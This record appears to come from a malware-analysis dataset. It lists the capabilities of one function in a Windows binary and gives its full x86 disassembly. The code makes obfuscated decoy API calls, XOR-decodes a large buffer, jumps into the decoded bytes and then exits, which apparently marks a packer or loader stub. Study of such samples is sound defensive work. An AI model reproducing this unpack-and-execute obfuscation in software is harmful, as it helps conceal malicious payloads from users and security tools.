Function at 0x40e8d0
Capabilities:
Create thread
Encode data using xor
Terminate process

Disassembly:
sub esp, 0x18
push ebx
push ebp
push esi
push edi
mov eax, dword [0x49e0e4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0x20], 0x1ce6
inc edx
mov dword [esp + 0x10], ecx
mov dword [0x4a4cfc], edx
mov dword [0x4a4d04], edx
mov dword [eax + 0x10], edx
mov eax, dword [0x49e0e4]
mov dword [esp + 0x1c], ecx
mov dword [eax + 0x1c], ecx
mov eax, dword [0x49e0e4]
mov dword [0x4a4d20], ecx
mov dword [0x4a4d30], ecx
mov dword [0x4a4d34], 0x12
mov dword [0x4a4d3c], edx
mov dword [eax + 0x54], 0x53
mov eax, dword [0x49e0e4]
mov dword [0x4a4d88], ecx
mov dword [0x4a4d60], ecx
mov dword [0x4a4d68], 0x5c
mov dword [0x4a4d74], ecx
mov dword [0x4a4d80], ecx
mov dword [0x4a4d90], edx
mov dword [0x4a4d98], 5
mov dword [0x4a4da0], ecx
mov dword [eax + 0xb0], ecx
mov eax, dword [0x49e0e4]
mov dword [0x4a4dac], ecx
mov dword [0x4a4dc4], edx
mov dword [esp + 0x14], ecx
mov dword [eax + 0xd8], ecx
mov eax, dword [0x4a4d14]
mov ebp, dword [0x49e0e4]
add eax, 0x4caf7
xor dword [0x4a4d88], eax
mov dword [0x4a4ddc], ecx
cmp dword [ebp + 0x44], 0xf562
mov dword [esp + 0x18], 0x250c
mov dword [esp + 0x24], 0x1e68
ja 0x40e9cd
or dword [0x4a4cfc], 0x73fbd
mov ebx, dword [esp + 0x18]
mov edi, dword [esp + 0x14]
xor ebx, 0x402
mov esi, dword [esp + 0x1c]
add edi, 0x1b4f
mov edx, dword [esp + 0x14]
xor esi, 0x1718
mov ecx, dword [esp + 0x24]
add edx, 0x2c13
mov eax, dword [esp + 0x24]
add ecx, 0x270
sub eax, 0x4d3
push eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call fcn.0040e19f
mov dword [esp + 0x2c], eax
add esp, 0x1c
mov eax, dword [0x49e0e4]
mov dword [eax + 0x60], 0xa40
mov eax, dword [esp + 0x18]
add eax, 0xfffff583
cmp dword [esp + 0x14], eax
je 0x40ec59
mov eax, dword [esp + 0x24]
add eax, 0xfffffe7e
cmp dword [esp + 0x18], eax
jle 0x40eaa5
xor dword [esp + 0x20], 0x387a
add dword [esp + 0x14], 0x1ce6
add dword [esp + 0x18], 0xcb
mov ecx, dword [0x49e0e4]
mov eax, dword [ecx + 0xc]
cmp eax, dword [0x4a4ddc]
je 0x40ea8d
mov eax, dword [0x4a4d68]
sub eax, dword [0x4a4d74]
xor eax, 0x2b637
sub dword [0x4a4d58], eax
jmp 0x40ec59
mov eax, dword [ecx + 0x28]
xor eax, dword [0x4a4d14]
xor eax, 0xf94
mov dword [0x4a4d14], eax
jmp 0x40ec59
mov eax, dword [esp + 0x24]
xor eax, dword [0x4a4cf8]
xor eax, 0x2409
cmp dword [0x4a4d04], eax
ja 0x40eb25
mov eax, dword [esp + 0x24]
mov ecx, dword [0x4a4da8]
sub ecx, eax
mov eax, dword [esp + 0x1c]
and eax, dword [esp + 0x10]
add ecx, 0x273b
or eax, 0x2c13
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov eax, dword [esp + 0x14]
mov edx, 0x1844
mov ecx, dword [0x4a4d04]
sub ecx, eax
mov eax, dword [esp + 0x14]
add ecx, edx
imul eax, ecx
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x20]
or eax, edx
add eax, 0x14c2
or dword [esp + 0x1c], eax
mov eax, dword [esp + 0x1c]
add eax, dword [0x4a4d08]
xor eax, 0x249c
sub dword [0x4a4de4], eax
mov eax, dword [0x49e0e4]
mov ecx, 0xffffd8c5
sub ecx, dword [eax + 4]
mov eax, dword [esp + 0x1c]
add eax, ecx
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x49e0e4]
mov eax, dword [eax + 0x24]
add eax, dword [0x4a4da0]
imul eax, eax, 0x1844
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ebp, dword [esp + 0x10]
mov ebx, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
sub ebx, 0x291d
mov ecx, dword [0x49e0e4]
add ebp, dword [0x4a4d88]
mov edi, dword [ecx + 0x68]
mov ecx, dword [esp + 0x18]
sub edi, eax
mov eax, dword [0x49e0e4]
or ecx, 0x2394
or edi, dword [0x4a4de4]
mov esi, dword [eax + 0x68]
mov eax, dword [esp + 0x1c]
add esi, ecx
mov edx, dword [esp + 0x1c]
xor eax, dword [0x4a4d64]
imul edx, eax
mov eax, dword [esp + 0x18]
push dword [0x4a4d88]
mov ecx, dword [0x4a4dac]
sub ecx, eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
mov eax, dword [esp + 0x14]
mov ebx, dword [esp + 0x10]
imul ebx, dword [esp + 0x20]
mov ebp, dword [0x4a4d04]
sub ebp, eax
mov eax, dword [esp + 0x20]
mov edi, dword [0x4a4d30]
mov edx, dword [esp + 0x14]
sub edi, eax
mov eax, dword [0x49e0e4]
mov ecx, dword [esp + 0x20]
xor ebx, dword [0x4a4d30]
xor ecx, 0x170c
mov eax, dword [eax + 0x38]
or eax, dword [0x4a4dac]
imul esi, eax, 0x1de0
mov eax, dword [0x4a4d28]
sub eax, dword [0x4a4cf8]
add edx, eax
mov eax, dword [esp + 0x14]
sub ecx, eax
push ecx
push edx
push esi
push edi
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [esp + 0x10]
mov eax, dword [0x4a4d90]
add eax, dword [0x4a4d10]
imul ecx, eax
mov eax, dword [0x49e0e4]
sub dword [eax + 0x8c], ecx
mov eax, dword [esp + 0x18]
xor eax, dword [0x4a4da8]
add dword [esp + 0x1c], eax
mov eax, dword [esp + 0x24]
add eax, 0x8d3
cmp dword [esp + 0x18], eax
jge 0x40ee7a
mov eax, dword [esp + 0x20]
add eax, 0x481
cmp dword [esp + 0x18], eax
je 0x40ee7a
mov eax, dword [esp + 0x24]
add eax, 0xfffff9dc
cmp dword [esp + 0x20], eax
je 0x40ee2f
xor dword [esp + 0x20], 0x3fd3
mov ebp, 0x4a4cf8
mov ebx, dword [esp + 0x24]
mov edi, dword [esp + 0x24]
xor ebx, 0xaaa
mov esi, dword [esp + 0x18]
add edi, 0x2a6
mov edx, dword [esp + 0x10]
sub esi, 0x5ed
mov ecx, dword [esp + 0x10]
add edx, 0x160
mov eax, dword [esp + 0x24]
add ecx, 0xada
xor eax, 0x3775
push eax
push ecx
push edx
push ebp
push esi
push edi
push ebx
call fcn.0040ee8f
mov dword [esp + 0x40], eax
mov edx, 0x3a0
add dword [esp + 0x30], 0xa55
mov ecx, 0x5cd48
add dword [esp + 0x30], 0xffffefd1
xor dword [esp + 0x2c], edx
xor dword [esp + 0x38], 0x192f
mov eax, dword [0x49e0e4]
mov ebx, dword [esp + 0x38]
mov edi, dword [esp + 0x3c]
xor ebx, 0x3db3
mov esi, dword [esp + 0x2c]
sub edi, 0x437
mov dword [0x4a4d54], ecx
xor esi, edx
mov eax, dword [eax + 0x38]
mov edx, dword [esp + 0x34]
add eax, 0x3cf60275
xor eax, ecx
xor edx, 0x3e98
mov ecx, dword [esp + 0x38]
mov dword [0x4a4d54], eax
add ecx, 0x12e4
mov eax, dword [esp + 0x2c]
xor eax, 0x3e86
push eax
push ecx
push ebp
push edx
push esi
push edi
push ebx
call fcn.00402752
mov dword [esp + 0x4c], eax
add esp, 0x38
add dword [esp + 0x10], 0xfffffc7d
xor edx, edx
mov esi, dword [0x4a4d5c]
mov ecx, dword [0x4a4d60]
xor eax, eax
inc eax
sub eax, dword [0x4a4d3c]
add dword [0x4a4d98], eax
mov eax, dword [0x49e0e4]
sub ecx, dword [eax + 4]
mov eax, dword [0x4a4da4]
add ecx, 0x73fbd
xor dword [0x4a4d90], ecx
xor dword [eax + edx], esi
add edx, 4
mov ecx, dword [0x49e0e4]
mov eax, dword [0x4a4d98]
add eax, 0xfffffffb
or dword [ecx + 0xa0], eax
mov esi, dword [0x4a4d5c]
add esi, dword [0x4a4db0]
mov dword [0x4a4d5c], esi
cmp edx, 0x3625c
jl 0x40ed84
mov ecx, dword [0x49e0e4]
mov edx, dword [0x4a4da4]
mov dword [0x4a4d8c], edx
mov eax, dword [ecx + 0xb0]
cmp eax, dword [ecx + 0x3c]
jbe 0x40ee09
and dword [ecx + 0x10], 0
jmp 0x40ee1d
mov eax, dword [ecx + 0xdc]
add eax, dword [0x4a4d9c]
push eax
call edx
mov dword [0x4a4dc8], eax
xor dword [esp + 0x10], 0x3390
xor dword [esp + 0x18], 0x3931
jmp 0x40ee7a
mov eax, dword [0x4a4d80]
mov ecx, dword [0x49e0e4]
and eax, 0x1b4f
xor eax, dword [0x4a4d40]
cmp dword [ecx + 0xd8], eax
jbe 0x40ee7a
mov eax, dword [esp + 0x18]
mov ecx, dword [ecx + 0xc0]
sub ecx, eax
cmp dword [0x4a4d88], ecx
jb 0x40ee7a
mov eax, dword [0x49e0e4]
mov ecx, dword [esp + 0x10]
add ecx, dword [eax + 0xb4]
mov eax, dword [esp + 0x20]
add eax, ecx
mov dword [esp + 0x10], eax
mov eax, dword [0x49e0e4]
push dword [eax + 0xd0]
call dword [sym.imp.KERNEL32.dll_ExitProcess]